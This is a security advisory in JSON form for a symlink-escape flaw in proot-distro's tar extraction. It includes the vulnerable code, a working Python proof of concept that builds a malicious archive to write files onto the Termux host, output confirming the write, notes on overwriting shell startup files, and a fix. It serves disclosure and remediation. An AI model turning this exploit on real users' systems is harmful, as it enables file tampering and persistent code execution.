1 line
8.5 KiB
JSON
1 line
8.5 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-9xq3-3fqg-4vg7","published":"2026-07-29T16:32:34Z","modified":"2026-08-04T14:40:47.411544907Z","aliases":["CVE-2026-54574","PYSEC-2026-3608"],"summary":"`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive","details":"**Repository:** `termux/proot-distro` \n**Component:** `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()` \n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---------------|------------------------------|\n| proot-distro | 5.0.2 (confirmed vulnerable) |\n| Termux app | 0.119.0-beta.3 |\n| Device / ABI | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13 |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython's `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process — entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n # linkname taken verbatim from archive — no validation of target\n os.symlink(member.linkname, dest) # ← symlink planted on host\n\nelif member.isreg():\n dest = os.path.join(rootfs_dir, rel_path)\n with open(dest, 'wb') as out: # ← follows symlink above\n ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in ('..', '') for p in rel_parts):\n continue # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components | ✅ | ❌ |\n| Confirm stays inside `rootfs_dir` | ❌ | ❌ |\n\n---\n\n## Proof of Concept\n\n### Step 1 — Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode='w:gz') as tf:\n\n # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home\n sym = tarfile.TarInfo(name='escape')\n sym.type = tarfile.SYMTYPE\n sym.linkname = '/data/data/com.termux/files/home'\n tf.addfile(sym)\n\n # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS\n reg = tarfile.TarInfo(name='escape/POC_SUCCESS')\n reg.size = len(PAYLOAD)\n tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open('evil.tar.gz', 'wb') as f:\n f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 — Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from 'evil.tar.gz' as 'evil'...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 — Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 — Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n by `proot-distro install` — no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components | ✅ | ❌ |\n| Confirm stays inside `rootfs_dir` | ❌ | ❌ |\n\nThe member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:\n \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n if os.path.isabs(linkname):\n return False # absolute targets always escape on the host\n resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n real_root = os.path.realpath(rootfs_dir)\n real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n else os.path.normpath(resolved))\n return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n continue # drop unsafe symlink\n if os.path.lexists(dest):\n ...\n os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n> **Note:** A stricter alternative — matching Docker's own behavior — is to **rewrite**\n> absolute symlink targets to relative paths within the rootfs rather than dropping them,\n> to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n> `/usr/lib → /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.* \n*Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*","affected":[{"package":{"name":"proot-distro","ecosystem":"PyPI","purl":"pkg:pypi/proot-distro"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.1.5"}]}],"versions":["5.0.0","5.0.0b1","5.0.0b2","5.0.0b3","5.0.0b4","5.0.0b5","5.0.1","5.0.2","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4"],"database_specific":{"last_known_affected_version_range":"<= 5.1.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-9xq3-3fqg-4vg7/GHSA-9xq3-3fqg-4vg7.json"}}],"references":[{"type":"WEB","url":"https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"},{"type":"WEB","url":"https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"},{"type":"PACKAGE","url":"https://github.com/termux/proot-distro"},{"type":"WEB","url":"https://github.com/termux/proot-distro/releases/tag/v5.1.5"}],"database_specific":{"cwe_ids":["CWE-61"],"github_reviewed":true,"github_reviewed_at":"2026-07-29T16:32:34Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"}]} |